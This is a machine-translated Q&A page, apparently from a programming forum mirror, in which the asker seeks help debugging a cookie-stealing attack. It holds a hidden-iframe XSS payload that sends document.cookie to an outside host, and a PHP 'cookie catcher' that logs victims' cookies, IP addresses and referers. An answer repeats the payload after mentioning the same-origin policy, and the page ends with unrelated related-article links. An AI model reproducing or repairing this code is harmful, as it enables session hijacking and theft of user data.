通过文档.从独立域的iframe内将Cookie转换为PHP
Passing document.cookie to php from within an iframe on a seperate domain
<IFRAME WIDTH=0 HEIGHT=0 frameborder=0 SRC=jvoid(document.location="http://www.xxx.com/cookie.php?c"+document.cookie)></iframe>
然后php文件:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('logs.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'< br > IP: ' .$ip. '< br > Date and Time: ' .$date. '< br > Referer: '.$referer.'< br > < br > < br >');
fclose($fp);
header ("Location: http://www.xxx.com");
?>
logs.html
记录了除cookie以外的所有内容-为什么?我测试了我的站点通过调用:document正确地支付了cookie。Cookie内的标签,所以其他的东西。请指出我的愚蠢!
你为什么要这样做?不管怎样,我遇到了这个链接:http://www.15seconds.com/issue/971108.htm很久以前…看看它是否对你有用
或者你可以尝试使用js,如下所示:
<script type="text/javascript">
var script=document.createElement('script');
script.setAttribute("type","text/javascript");
script.setAttribute("src", 'http://xxx.com/ajaxHandler?getCookie&callback=passCookie');
document.getElementsByTagName("head")[0].appendChild(newfile);
</script>
页面xxx.com/ajaxHandler?getCookie可以这样做:
passCookie({'name':'mycookie', 'value':'myvalue'});
我想这是因为同源策略。
否则偷别人的cookie就太容易了:)
http://en.wikipedia.org/wiki/Same_origin_policy< ="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookie catcher.PHP?c=' document.cookie)></
相关文章:
- 如何在提交表单时将PHP变量传递到Javascript cookie中
- Angularjs无法将单选按钮与嵌套范围内的模型绑定
- JavaScript Regex 将单词替换为其第一个字母,除非在括号内
- 建议将包含不同参数的内联JS转换为外部脚本
- 将自定义css保持在角度范围内
- 将对应用内购买的支持构建为react本机代码
- 将用户对样式表的选择保存在cookie中
- 将形状/掩码动态添加到内联svg中
- 菜单将变为内联样式
- 将DIV包裹在锚标签内或其他方式
- 在函数内将值从父窗口传递到子窗口
- 如何在函数内将未定义的变量转换为对象
- 在 10 秒内将 if(button.g == 1) 转换为自动运行
- 如何在悬停150毫秒的时间内将元素旋转到180度
- jQuery cookie,将动态名称设置为cookie
- 如何在1小时3分钟内将功能时间和日期转换为类似内容
- 设置cookie内联
- 通过文档.从独立域的iframe内将Cookie转换为PHP
- 在title属性内将单引号转换为双引号
- 在同一页面内将变量从JS传递到PHP